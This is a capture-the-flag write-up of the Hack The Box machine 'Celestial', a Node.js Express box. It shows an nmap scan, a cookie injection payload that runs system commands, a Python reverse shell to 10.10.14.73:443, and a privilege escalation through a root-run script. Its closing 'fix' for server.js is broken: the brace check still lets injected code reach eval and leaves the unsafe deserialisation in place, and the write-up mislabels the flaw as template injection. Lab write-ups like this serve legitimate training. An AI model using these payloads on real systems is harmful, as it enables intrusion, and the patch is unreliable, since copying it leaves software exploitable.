HTB Machine Celestial Writeup
HTB Machine Celestial Writeup
Recon
Nmap
1
nmap -Pn -v -p- -sV --min-rate 1000 celestial.htb -oN celestial_nmap.txt
1
2
PORT STATE SERVICE VERSION
3000/tcp open ppp?
Initial Foothold and User.txt
Main page shows the text “404” on first visit. On subsequent visits the following text is shown.
Examining the HTTP header shows a base64 encoded cookie value
2 of the JSON attributes seems to be reflected on the main page
- username
- num
The num parameter seems to be concatenated. This is tested by setting num to 3.
The server seems to be using templates to reflect these 2 value. By trying the common payload for Server-side Template Injection “{7*7}”, the server evaluated the multiplication provided and printed 49.
This proves that SSTI is possible. As an attempt to determine the exact backend framework and template engine used, an error was triggered which returned verbose error message. The error message
1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected token }<br> at /home/sun/server.js:13:29<br> at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> at next (/home/sun/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> at /home/sun/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)<br> at next (/home/sun/node_modules/express/lib/router/index.js:275:10)<br> at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)<br> at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)</pre>
</body>
</html>
From this we can see that:
- The server is running Express Node.js web framework
- There is a user “sun” However, it still doesn’t show what template engine is used.
A script was made to try perform fuzzing on the num parameter and see if any special characters will trigger the same syntax error. The following is the result:
1
2
3
4
5
-
.
""
{}
/
Also some global variables seems to return valid results (e.g. global).
Through more googling, the following payload from HackTricks worked, which is intended for the template engine Jade.
1
root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout
Source: https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html#jade-nodejs
It was found to be quite difficult to just run a one-line command for reverse shell execution (escaping quotes are painful). So from here the following steps were done to obtain a reverse shell:
- Confirm that python3 is installed on the server (which python3)
- Use revshells.com to create a python reverse shell
- Issue a command to the server to download the reverse shell
- Listen on port 443 (on attacker machine)
- Execute the python reverse shell payload downloaded
Payload used:
1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.73",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")
user.txt at /home/sun/user.txt
Root.txt
On the user’s home directory, there was one file that stood out as it seems to be written by root.
There is also another python script that seems to print out the exact words
To do a simple test to check if the script.py was indeed running by root as a background process, the script.py was modified to print out something different
1
print "No it's not running..."
After 5 minutes, the output.txt file changed to the modified content After the first execution, the process is also shown when listing running processes. This shows that the script is indeed ran by root.
By using the same python3 reverse shell payload used during initial access (changing connection port to 445), a reverse shell was obtained running as root.
Just for Fun
Try to fix vulnerable server.js script
The following is the content of server.js which is the main script of the web server (in /home/sun/server.js).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
var sum = eval(obj.num + obj.num);
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
}else{
res.send("An error occurred...invalid username type");
}
}else {
res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
maxAge: 900000,
httpOnly: true
});
}
res.send("<h1>404</h1>");
});
app.listen(3000);
We can see that the vulnerability lies in var sum = eval(obj.num + obj.num);
, where the user input obj.num
is directly evaluated without any sanitation.
The most straightforward way to fix it is to check for the bracket characters {
and }
and prevent them from passing to eval()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username && obj.num.indexOf("{") == 0 && obj.num.indexOf("}") == 0) {
var sum = eval(obj.num + obj.num);
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
}else{
res.send("An error occurred...invalid username type");
}
}else {
res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
maxAge: 900000,
httpOnly: true
});
}
res.send("<h1>404</h1>");
});
app.listen(3000);